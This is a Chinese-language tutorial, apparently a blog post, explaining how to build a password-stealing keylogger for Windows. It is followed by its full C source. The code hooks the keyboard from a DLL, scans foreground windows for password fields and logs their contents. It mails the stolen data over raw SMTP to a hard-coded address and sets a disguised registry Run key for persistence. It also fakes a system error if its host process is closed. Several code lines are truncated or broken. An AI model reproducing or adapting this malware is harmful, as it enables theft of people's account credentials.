实现原理很简单主要由1.与前台应用程序挂钩2.收集所需要的信息(即密码)两部份构成
实现原理很简单主要由1.与前台应用程序挂钩2.收集所需要的信息(即密码)两部份构成
那么要怎么实线与其他程序挂上钩呢?答案就是钩子程序
钩子机制允许应用程序截获处理Windows消息或特定的事件,与DOS中断处理机制有类似之处,钩子(Hook)是Windows消息处理机制的一个平台(point)。应用程序可以在上面设置子以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程创建的。从钩子原理我们可以知道只要安装任意钩子我们就能插入别的进程。对于盗号我认为键盘钩子和鼠标钩子就很合适,我安装的就是键盘钩子这样只要别人按下键盘首先要经过我们程序的处理然后才是接收键盘消的进程处理,具体怎么安装钩子,我们可以用API函数SetWindowsHookEx()把一个应用程序定义的钩子安装到钩子链表中,
其原形如下
HHOOK SetWindowsEx(
int idHook, //钩子类形 我们用WH_KEYBOARDHOOKPROC lpfn, //构子子程的地址指指针
其实就是我们处理密码的函数地址 这个函数也叫回调函数
HINSTANCE hMod, //应用程序实例句柄,也就是这个钩子属于那个程许 我们用的是DLL句柄后面会说到
DWORD dwThreadId //安装的钩子相关联的线程的标识符,如果是0就是监视所有线程关联,我们选0,我想原因就不用说了
);
如果函数成功返回所须要钩子的句柄,失败返回NULL
这里要注意的就是要使钩子与所有线程相关联就要把钩子安装在DLL里(钩子一般都是安装在DLL中)我们也可以把所有代码都写在DLL中应为当成功与其他他应用程序挂钩后就算盗号主程序被人关闭但是他仍然能正常工作作得再绝点在DLL中监视主程序是否被关,如果被关可以再次呼起主程序或者制造系统错误让机器重起使别人不干轻易关掉你的进程。好了安装钩子后我们就要考虑回调函数了,它的一般形势如下
LRESULT CALLBACK HookProc(int nCode, //钩子代码
WPARAM wParam, //当前进程标志
LPARAM lParam //带有消息结构的地址)
这样只要用户按下键盘就会调用我们设计好的回调函数进行处理。到了这里我们基本完成了与其他程序挂钩。
接下来就要考虑怎样处理收集到的信息了,这就要考虑到底是哪个窗体接收的键盘命令,窗体的标题叫什么,窗体上有密码输入框吗。
到底是哪个窗体接收的键盘命令 这个可以用api函数 HWND GetForegroundWindow(VOID);
该函数返回前台窗口(用户当前工作的窗口)。系统分配给产生前台窗口的线程一个稍高一点的优先级。返回值:函数返回前台窗口的句柄。仅仅知道了当前窗体还是不够的 还需要一个函数
int GetWindowText(
HWND hWnd,//带文本的窗口或控制的句柄。
LPTSTR lpString, //指向接收文本的缓冲区的指针。
int nMaxCount //指定要保存在缓冲区内的字符的最大个数,其中包含NULL字符。如果文本超过界限,它就被截断。
);
这个函数将指定窗口的标题条文本(如果存在)拷贝到一个缓存区内,
注意:GetWindowTeXt不能接收在其他应用程序中的控制文本。
但是我们后面的代码就是用这个函数得到密码的 这是为什么呢?
原因很简单应为你的钩子函数是做在DLL中和其他程序挂钩之后你的代码就相当与这个程序的一部分了所以可以用他来获取密码信息(个人观点)
如果函数成功,返回值是拷贝的字符串的字符个数,如果窗口无标题栏或文本,或标题栏为空,或窗口或控制的句柄无效,(QQ登陆的窗口是经过处理的所以我们不会得到QQ登陆的字符的),则返回值为零。
好了既然知道可以用GetWindowTeXt函数获取密码信息 但是很多窗体没有密码信息啊?比如QQ聊天窗口他全是文本,我门怎么知道这个窗体是有密码信息呢??再说了QQ登陆窗口 除了密码信息之外还有 QQ登陆: 注册向导 忘记密码 等等不密码窗体来构成的,我门需要一个一个窗体来判断是不是有密码,这就需要用到
BOOL EnumChildWindows(
HWND hWndParent, //要枚举窗体的句柄
WNDENUMPROC lpEnumFunc, //和钩子函数的回调函数一样搜索到一个窗体就调用这个指针指到的函数
LPARAM lParam //需要传递的参数
);
他的办法是寻找指定窗体上的子窗体 找到一个就调用定义好的回调函数进行处理(判断是不是密码框),最后就是怎样判断窗体是不是密码输入框了
GetWindowLong函数助我们一臂之力 先看看原型把
LONG GetWindowLong( HWND hWnd, //窗口的句柄
int nIndex //指定要获得值的大于等于0的值的偏移量 这个有很多值我也不是很知道 但是我门只要知道是用
GWL_STYLE(得到窗口风格)就够了
);
得到了窗口风格就可以用if语句判断是不是密码窗口了
要是有密码就可以用GetWindowTeXt函数来得到密码了
是不是很简单
下面我来给大家理一下思路
1 SetWindowsEx 安装钩子
2 钩子函数处理
3 GetForegroundWindow 得到当前窗体
4 GetWindowTeXt 得到窗体标题
5 EnumChildWindows 枚举当前窗体
6 枚举窗体回调函数处理 如果有密码 用GetWindowTeXt得到密码 没有密码继续
7 发邮件
下面是我写的代码
由于换了学校基本没时间碰电脑 所以还有部分功能还没很好的实现 但是大体的轮廓出来了
#include <windows.h>
#include <stdio.h>
#include "ksydll.h"
#define WM_MYSCOKET 0x0090 //自定义消息
HINSTANCE hins; //钩子函数所在的模块句柄
#pragma da
HWND keepmy=NULL; //调用DLL的EXE句柄
char filelog[250]=""; //保存密码的文件名
char filebak[250]=""; //保存密码的文件名
char IP[25]=""; //SMTP服务器地址
char mailto[70]="RCPT TO: <"; //SMTP命令
bool exeok=true; //判断EXE是否运行
bool netlink=false; //判断网络是否正常
#pragma da
#pragma comment(linker, "/section:shared,rws")
HWND keydll=NULL; // 当前窗口
bool yesnoto=false; //是否有密码
bool windowsnet=false; //判断窗体是否带密码
static HHOOK hkb=NULL;
char pass[50][255];
int passint;
BOOL delksydll();
BOOL reg();
// 钩子函数的回调函数
BOOL CALLBACK FindTrayWnd(HWND hwnd, LPARAM lParam);
LRESULT CALLBACK KeyboardProc(
int co
WPARAM wParam,
LPARAM lParam
)
{
HWND mykeyhdc;
if(((DWORD)lParam&0x40000000)&&(HC_ACT
{
char szCaptions[255]="";
reg();
mykeyhdc=GetForegroundWindow();
//判断窗体是否是原来的
if(mykeyhdc==keydll)
{
FILE *fp;
fp=fopen(filelog,"w");
fclose(fp);
if(windowsnet)
{
int temp=1;
char szClassName[255]="";
FILE *fp;
fp=fopen(filelog,"a");
fwrite("窗口名字———>",strlen("窗口名字———>"),1,fp);
fwrite(szClassName,strlen(szClassName),1,fp);
fclose(fp);
passint=0;
EnumChildWindows(mykeyhdc,FindTrayWnd,(LPARAM)&temp); //枚举窗体
}
}
else //如果不是
{
int temps=2;
windowsnet=false;
//判断是否有邮件
if(yesnoto)
{
//发邮件
yesnoto=!yesnoto;
if(netlink)
{
netboolto(netok(2));
if(
SendMessageTimeout(keepmy,WM_MYSCOKET,NULL,NULL,SMTO_ABORTIFHUNG,150000,0)==0)
exeok=false;
}
else
{
FILE *fp;
FILE *ff;
char c;
fp=fopen(filebak,"a");
ff=fopen(filelog,"r");
fwrite("以下是未连接网络记录的信息",sizeof("以下是未连接网络记录的信息"),1,fp);
fputc(10,fp);
c=fgetc(ff);
while(!feof(ff))
{
fputc(c,fp);
c=fgetc(ff);
}
fclose(fp);
fclose(ff);
}
}
//判断星号
passint=0;
EnumChildWindows(mykeyhdc,FindTrayWnd,(LPARAM)&temps);
if(temps==3)
{
windowsnet=true;
// yesnoto=true;
keydll=mykeyhdc;
}
}
}
if(exeok)
return CallNextHookEx(hkb,co
else
{
//要是主程序被关闭就制造错误
return(MessageBox(mykeyhdc,"系统出现严重错误\n请尝试重新启动!","错误",MB_ICONWARNING));
}
}
//安装钩子
extern "C" __declspec(dllexport) bool insthook(HWND hwnd)
{
if(hwnd!=NULL)
keepmy=hwnd;
if(strcmp(mailto,"RCPT TO: <")==0)
strcat(mailto,"shunyuncc@163.com>\n");
int i=0;
char SysPath[MAX_PATH];
DWORD size=MAX_PATH;
GetSystemDirectory(SysPath,size);
strcpy(filelog,SysPath);
strcat(filelog,"\\keyslog.txt");
for(i=0;i<=(int)strlen(filelog);i++)
filelog=tolower(filelog);
strcpy(filebak,SysPath);
strcat(filebak,"\\baklog.txt");
for(i=0;i<=(int)strlen(filebak);i++)
filebak=tolower(filebak);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
//核心语句安装钩子
return true;
}
//DLL入口函数
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
hins=hinstDLL;
insthook(NULL);
return true;
}
//枚举回调函数
BOOL CALLBACK FindTrayWnd(HWND hwnd, LPARAM lParam)
{
int *calltemp=(int *)lParam;
if(*calltemp==1)
{
char szClassName[255]="";
GetWindowText(hwnd,szClassName,255); //得到窗体的文本
LONG lStyle=GetWindowLong(hwnd,GWL_STYLE); //获取窗口风格
if (lStyle&ES_PASSWORD) //判断是不是密码窗口
if(strcmp(pass[passint],szClassName)!=0)
{
yesnoto=true;
passint++;
}
if(szClassName!=NULL)
{
FILE *fp;
char temp[255];
fp=fopen(filelog,"a");
GetClassName(hwnd,temp, 255);
if(strcmp(temp,"Edit")==0)
{ if (lStyle&ES_PASSWORD)
fwrite("-------------------密码输入框--->",strlen("-------------------密码输入框--->"),1,fp);
else
fwrite("输入框--->",strlen("输入框--->"),1,fp);
}
if(strcmp(temp,"Static")==0)
fwrite("提示框--->",strlen("提示框--->"),1,fp);
fwrite(szClassName,strlen(szClassName),1,fp);
fputc(10,fp);
fclose(fp);
}
}
if(*calltemp==2)
{
LONG lStyle=GetWindowLong(hwnd,GWL_STYLE);
if (lStyle&ES_PASSWORD)
{
// char szClassName[255]="";
memset(pass[passint], 0,strlen(pass[passint]));
GetWindowText(hwnd,pass[passint],255);
passint++;
// if(strlen(pass[passint])!=0)
*calltemp=3;
}
}
return true;
}
//判断网络是否连接
extern "C" __declspec(dllexport) void netboolto(bool netok)
{
netlink=netok;
return;
}
//发邮件函数
extern "C" __declspec(dllexport) bool netok(int net)
{
char temp[600]="";
struct sockaddr_in server;
SOCKET serverscok;
WSADATA wsaData;
WSAStartup(0x0101,&wsaData);
if(net==1)
{
hostent* pHostent = gethostbyname("211.215.19.90");
if (pHostent==NULL)
return false;
hostent& he = *pHostent;
sockaddr_in sa;
for (int nAdapter=0; he.h_addr_list[nAdapter]; nAdapter++)
memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[nAdapter],he.h_length);
memset(IP, 0,sizeof(IP));
strcpy(IP,inet_ntoa(sa.sin_addr));
}
if(net==2)
{
FILE *fp;
char temps;
server.sin_family=AF_INET;
serverscok=socket(AF_INET,SOCK_STREAM,0);
server.sin_port=htons(24);
serverscok=socket(AF_INET,SOCK_STREAM,0);
server.sin_addr.s_addr=inet_addr(IP);
if(connect( serverscok , (struct sockaddr*)&server , sizeof( server
))!=0)
{
netboolto(false);
return false;
}
send(serverscok,"HELO command\r\n",strlen("HELO command\r\n"),0);
recv(serverscok,temp,600,0);
// MessageBox(NULL,temp,"密码",0);
// cout<<temp<<endl;
memset(temp, 0, sizeof(temp));
send(serverscok,"MAIL FROM:
<hacker@shunyuncc.20cn.com>\r\n",strlen("MAIL FROM:
<hacker@shunyuncc.20cn.com>\r\n"),0);
recv(serverscok,temp,600,0);
// MessageBox(NULL,temp,"密码",0);
// cout<<temp<<endl;
memset(temp, 0, sizeof(temp));
send(serverscok,"RCPT TO: <shunyuncc@163.com>\r\n",strlen("RCPT TO:
<shunyuncc@163.com>\r\n"),0);
recv(serverscok,temp,600,0);
// MessageBox(NULL,temp,"密码",0);
// cout<<temp<<endl;
memset(temp, 0, sizeof(temp));
send(serverscok,"DA
recv(serverscok,temp,600,0);
// MessageBox(NULL,temp,"密码",0);
// cout<<temp<<endl;
memset(temp, 0, sizeof(temp));
send(serverscok,"Subject:小小盗号1.0\r\n",strlen("Subject:小小盗号1.0\r\n"),0);
send(serverscok,"\r\n",strlen("\r\n"),0);
char hostname[256];
gethostname(hostname, sizeof(hostname));
send(serverscok,"主机名字-->",strlen("主机名字-->"),0);
send(serverscok,hostname,strlen(hostname),0);
send(serverscok,"\n",strlen("\n"),0);
hostent* pHostent = gethostbyname(hostname);
hostent& he = *pHostent;
sockaddr_in sa;
for (int nAdapter=0; he.h_addr_list[nAdapter]; nAdapter++)
{
memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[nAdapter],he.h_length);
send(serverscok,"主机IP-->",strlen("主机IP-->"),0);
send(serverscok,inet_ntoa(sa.sin_addr),strlen(inet_ntoa(sa.sin_addr)),0);
send(serverscok,"\n",strlen("\n"),0);
}
fp=fopen(filebak,"a");
fclose(fp);
fp=fopen(filebak,"r");
temps=fgetc(fp);
while(!feof(fp))
{
send(serverscok,&temps,1,0);
temps=fgetc(fp);
}
fclose(fp);
fp=fopen(filebak,"w");
fclose(fp);
fp=fopen(filelog,"r");
temps=fgetc(fp);
while(!feof(fp))
{
send(serverscok,&temps,1,0);
temps=fgetc(fp);
}
fclose(fp);
send(serverscok,"\r\n.\r\n",strlen("\r\n.\r\n"),0);
send(serverscok,"quit\r\n",strlen("quit\r\n"),0);
recv(serverscok,temp,600,0);
closesocket(serverscok);
}
WSACleanup();
return true;
}
//写注册表启动函数
reg()
{
char SysPath[MAX_PATH];
DWORD size=MAX_PATH;
long ret;
int i=0;
HKEY hKEY;
DWORD type=REG_SZ;
char fileexe[250]="";
LPCTSTR Rgspath="Software\\Microsoft\\Windows\\CurrentVersion\\Run" ;
GetSystemDirectory(SysPath,size);
strcpy(fileexe,SysPath);
strcat(fileexe,"\\cssystema.exe");
for(i=0;i<=(int)strlen(fileexe);i++)
fileexe=tolower(fileexe);
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE, &hKEY);
if(ret!=ERROR_SUCCESS)
RegCloseKey(hKEY);
ret=RegSetValueEx(hKEY,"QQKAVQQRun",NULL,type,(const unsigned
char*)fileexe,size);
RegCloseKey(hKEY);
return true;
}
评论